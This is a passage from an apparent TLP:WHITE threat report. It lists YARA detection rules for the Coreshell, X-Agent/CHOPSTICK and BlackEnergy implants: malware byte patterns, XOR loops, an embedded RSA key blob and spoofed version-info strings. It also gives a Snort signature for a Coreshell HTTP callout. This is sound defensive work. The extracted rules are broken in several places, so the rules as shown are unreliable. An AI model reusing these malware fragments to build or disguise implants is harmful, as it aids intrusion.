?0100008d1c764c896c24 STR2  c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c?
?
4002c7418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa46220c?
?
418d48fef7e1c1ea028d045203c02bc88bc1 STR3  41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c?
?
4002c6418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa STR4  46220c?
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418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604?
?410fafcbc1 condition: (uint16(0)  0x5A4D) and any of them  TLP:WHITE 14 of 56  14 of 56  TLP:WHITE Rule IMPLANT_2_v9  strings: STR1   8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89 45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6 8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE 3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8 0F 82 ??
??
?? ?
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3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33 C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ??
??
?? ?
?
8B 55 08 8A CB 02 C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F 02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01 FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33 D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45 E4 30 1C 01 8B 4D 0C condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_2_v10  strings: STR1   83 ?
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06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4?
[
1-2] 01 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v11  strings: TLP:WHITE 15 of 56  15 of 56  TLP:WHITE STR1  55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v12  strings: STR1  48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?
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48 8D 15 ?
?
00 00 00 48 8B CC E8 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v13  strings: STR1   83 ?
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06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4?
[
1-2] 01 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v14  strings: TLP:WHITE 16 of 56  16 of 56  TLP:WHITE STR1 8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7?
?8bcaba03000000c1e902890c248 d044903c0442b??4489??24043bf10f83?
?0100008d1c764c896c24 STR2 c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c?
?4002c7418d48ff4432c8b8abaaaaaaf7e 1c1ea028d045203c02bc8b8abaaaaaa46220c?
?418d48fef7e1c1ea028d045203c02bc88bc1 STR3 41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c?
?4002c6418d48ff4432c8b8abaaaaaaf7e1 c1ea028d045203c02bc8b8abaaaaaa STR4 46220c??418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604?
?410fafcbc1 condition: (uint16(0)  0x5A4D) and any of them  Rule IMPLANT_2_v15  strings: XOR_LOOP1   32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 XOR_LOOP2   32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 XOR_LOOP3   02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_2_v16  strings: TLP:WHITE 17 of 56  17 of 56  TLP:WHITE OBF_FUNCT   0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7 75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and OBF_FUNCT  Rule IMPLANT_2_v17  strings: STR1   24108b44241c894424148b4424246836 STR2   518d4ddc516a018bd08b4de4e8360400 STR3   e48178061591df75740433f6eb1a8b48 STR4   33d2f775f88b45d402d903c641321c3a STR5   006a0056ffd083f8ff74646a008d45f8 condition: (uint16(0)  0x5A4D) and 2 of them  Rule IMPLANT_2_v18  strings: STR1   8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF 8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45 F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 TLP:WHITE 18 of 56  18 of 56  TLP:WHITE 41 83 C6 06 89 4D F0 89 75 F8 3B 4D D4 0F 82 ??
??
?? ?
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8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B F8 EB 02 33 FF 3B FA 0F 83 ??
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?? ?
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8B 5D EC 8A C1 02 C0 83 C3 FE 8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_2_v19  strings: obfuscated_RSA1   7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6 74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2 E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC 89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE 9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11 BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B cleartext_RSA1   06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01 00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E 0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32 45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05 42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14 81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and any of them  Rule IMPLANT_2_v20  strings: TLP:WHITE 19 of 56  19 of 56  TLP:WHITE func   0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45 D8 89 55 F8 72 A0 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Network Indicators for Implant 2 alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:Coreshell_HTTP_CALLOUT flow:established,to_server content:POST http_method content:User-Agent: MSIE  fast_pattern:only pcre:/User-Agent: MSIE [89]\.0\x0d\x0a/D pcre:/\/(?
:checkupdatestoreinfo)\//I) The following YARA rules detect X-Agent/CHOPSTICK, referred to as IMPLANT 3 with rule naming convention.
IMPLANT 3 Rules: Rule IMPLANT_3_v1  strings: STR1  process isnt exist ascii wide STR2  shell\\open\\command\System Volume Information\\USBGuard.exe\ install ascii wide STR3  User-Agent: Mozilla/5.0 (Windows NT 6.
WOW64 rv:20.0) Gecko/20100101 Firefox/20.0 ascii wide STR4  webhp?relpsyhl7ai ascii wide STR5  0f b6 14 31 88 55 ?
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33 d2 8b c1 f7 75 ?
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8b 45 ?
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41 0f b6 14 02 8a 45 ?
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03 fa TLP:WHITE 20 of 56  20 of 56  TLP:WHITE condition: any of them  Rule IMPLANT_3_v2  strings: base_key_moved  C7 45 ?
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3B C6 73 0F C7 45 ?
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8B 07 85 C0 C7 45 ?
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74 02 FF D0 C7 45 ?
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83 C7 04 3B C7 45 ?
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FE 72 F1 5F C7 45 ?
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5E C3 8B FF C7 45 ?
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56 B8 D8 78 C7 45 ?
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75 07 50 E8 C7 45 ?
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B1 D1 FF FF C7 45 ?
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59 5D C3 8B C7 45 ?
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FF 55 8B EC C7 45 ?
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83 EC 10 A1 66 C7 45 ?
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33 35 base_key_b_array  3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE 72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B FF 55 8B EC 83 EC 10 A1 33 35 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and any of them  Rule IMPLANT_3_v3  strings: STR1  .
?AVAgentKernel STR2  .
?AVIAgentModule STR3  AgentKernel condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and any of them  TLP:WHITE 21 of 56  21 of 56  TLP:WHITE The following YARA rules detect BlackEnergy / Voodoo Bear, referred to as IMPLANT 4 with rule naming convention.
IMPLANT 4 Rules: Rule IMPLANT_4_v1  strings: STR1  55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64 C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF 32 C6 45 E0 2EE9 ??
??
?? ?
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STR2  C7 45 EC 5A 00 00 00 C7 45 E0 46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00 condition: (uint16(0) 0x5A4D or uint16(0)  0xCFD0 or uint16(0) 0xC3D4 or uint32(0)  0x46445025 or uint3 2(1)  0x6674725C) and 1 of them  Rule IMPLANT_4_v2  strings: BUILD_USER32  75 73 65 72 ??
?? ?
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33 32 2E 64 BUILD_ADVAPI32  61 64 76 61 ??
?? ?
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70 69 33 32 CONSTANT  26 80 AC C8 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  TLP:WHITE 22 of 56  22 of 56  TLP:WHITE Rule IMPLANT_4_v3  strings: a1  Adobe Flash Player Installer wide nocase a3  regedt32.exe wide nocase a4  WindowsSysUtility wide nocase a6  USB MDM Driver wide nocase b1  00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 1C 02 00 00 01 00 30 00 30 00 31 00 35 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 1C 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 TLP:WHITE 23 of 56  23 of 56  TLP:WHITE 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04 b2  34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00 02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00 00 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70 02 00 00 00 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4A 00 15 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 53 00 6F 00 6C 00 69 00 64 00 20 00 53 00 74 00 61 00 74 00 65 00 20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00 62 00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 76 00 29 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 41 00 64 00 6F 00 62 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 73 00 20 00 49 00 6E 00 63 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58 b3  C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 49 00 44 00 45 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 TLP:WHITE 24 of 56  24 of 56  TLP:WHITE 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 b4  9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40 B0 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 D6 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 58 00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F 00 72 00 20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00 72 00 74 00 6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31 00 32 00 35 00 35 00 29 00 00 00 3A 00 0D 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 